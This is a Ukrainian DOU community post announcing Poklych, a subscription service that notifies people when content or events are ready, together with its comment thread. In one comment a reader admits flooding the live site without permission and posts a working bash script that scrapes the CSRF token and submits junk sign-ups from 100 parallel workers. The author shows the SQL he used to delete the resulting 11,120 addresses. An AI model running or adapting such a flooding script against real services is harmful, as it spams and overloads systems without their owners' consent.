Poklych — «поклич, коли буде готово» для контенту і подій

💡 Усі статті, обговорення, новини про продукти — в одному місці. Приєднуйтесь до Product спільноти!

Привіт, минулого місяця анонсував, що почав розробляти новий проєкт на Rust і що покличу, коли буде що показати, тих, хто залишив свій email на головній сторінці poklych.com. Там же публічно видно, скільки людей підписалося на це — 50 людей. Це і є приклад того, для чого створений Poklych.

Звісно, прикладів використання значно більше.

Наприклад, ви автор і пишете статтю про Go на DOU, і торкаєтесь там ще поверхнево кількох тем із приміткою: «дайте знати в коментарях, якщо вам буде цікаво почитати про JSON у Go або ж тестування в Go». Читачам може бути цікаво, але вони полінуються про це написати коментар або ж напишуть коментар, а вам як автору треба буде їм писати напряму, коли опублікуєте бажану їм тему. Натомість ви можете створити 2 кличі: один — «Публікація теми про тестування в Go», інший — «Публікація теми про роботу з JSON у Go», і читачі зможуть на них підписатись. Ви як автор будете бачити, скільком це цікаво, і коли опублікуєте, то відправите клич, а підписники отримають сповіщення.

Або інший варіант: ви як автор хочете написати 3–5 тем, створюєте для кожної теми клич і пишете першою ту тему, до якої більше зацікавленості. У редакції DOU також є список тем, які редакція вважає цікавими для спільноти, і ці теми можна брати та писати, якщо вони співпадають з вашим досвідом і технологіями. Кожну з цих тем також можна перетворити у клич, щоб розуміти, кому вона цікава.

Звісно, створення кличів виходить за рамки технічної тематики. Це може бути збір на ЗСУ з розіграшем якогось призу. Збір може бути завершений через день або тиждень, тож немає точної дати розіграшу, і створення кличу буде доречним, якщо важливо, щоб учасники розіграшу не пропустили стрім із цим розіграшем.

Також кличі можна використовувати для розуміння попиту. Наприклад, артист розглядає можливість провести концерт у вашому місті й створює клич, щоб розуміти попит.

Функціонал створення кличів ще в роботі, і ви можете підписатись на клич, коли цей функціонал буде доступним, через посилання, або ж знайдіть бота @PoklychBot у Telegram і відправте йому команду /subscribe dj3MVzNFAV8YAg Створюй власні кличі на Poklych.

👍ПодобаєтьсяСподобалось5
До обраногоВ обраному1
LinkedIn
Дозволені теги: blockquote, a, pre, code, ul, ol, li, b, i, del.
Ctrl + Enter
Дозволені теги: blockquote, a, pre, code, ul, ol, li, b, i, del.
Ctrl + Enter

Хтось провів безкоштовний стрес-тест, тому даю зворотний зв’язок: видалив 11120 email-ів.

DELETE
FROM early_subscribers es
WHERE es.anonymized_ip IN ('::ffff:45.9.31.0', '::ffff:31.169.127.0');

Це я тикав, стало цікаво чи впаде воно.
Швиденько навайбкодив скриптик:

#!/bin/bash

# Fix for "tr: Illegal byte sequence"
export LC_ALL=C

URL="https://poklych.com"
SUB_URL="https://poklych.com/e/first-klych/subscribe"
UA="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)"

# Toggle debug (1 = ON, 0 = OFF)
DEBUG=1

run_task() {
  # echo "[*] PID $$ started"

  # --- Step 1: Fetch CSRF ---
  PAGE=$(curl -s "$URL")

  CSRF=${PAGE#*name=\"csrf_token\" value=\"}
  CSRF=${CSRF%%\"*}

  if ((DEBUG)); then
    echo "[DEBUG $$] CSRF: $CSRF"
  fi

  # --- Step 2: Fast random email ---
  RANDOM_LOCAL=$(tr -dc 'a-z0-9' </dev/urandom | head -c 2000)
  EMAIL="${RANDOM_LOCAL}%40mail.com"

  if ((DEBUG)); then
    echo "[DEBUG $$] EMAIL: ${EMAIL:0:50}..."
  fi

  # --- Step 3: Request ---
  RESPONSE=$(curl -s \
    -H "User-Agent: $UA" \
    -b "first_klych_csrf=${CSRF}" \
    --data "csrf_token=${CSRF}&email=${EMAIL}&website=" \
    "$SUB_URL")

  if ((DEBUG)); then
    echo "[DEBUG $$] RESPONSE:"
    echo "$RESPONSE" | head -c 150
    echo -e "\n----------------------"
  fi
}

export -f run_task

# --- Parallel execution (100 workers) ---
for ((i=1; i<=100; i++)); do
  run_task &
  ((i % 10 == 0)) && wait
done

wait

echo "[*] Done"

Я ще туди додав пошту Genesis, але ви певно цей жарт не побачили(((

Дякую, що протестували й відписали!

Додав клич, щоб представникам Genesis теж став цікавим проєкт Poklych — хай вони чесно підписуються.

Підписатись на коментарі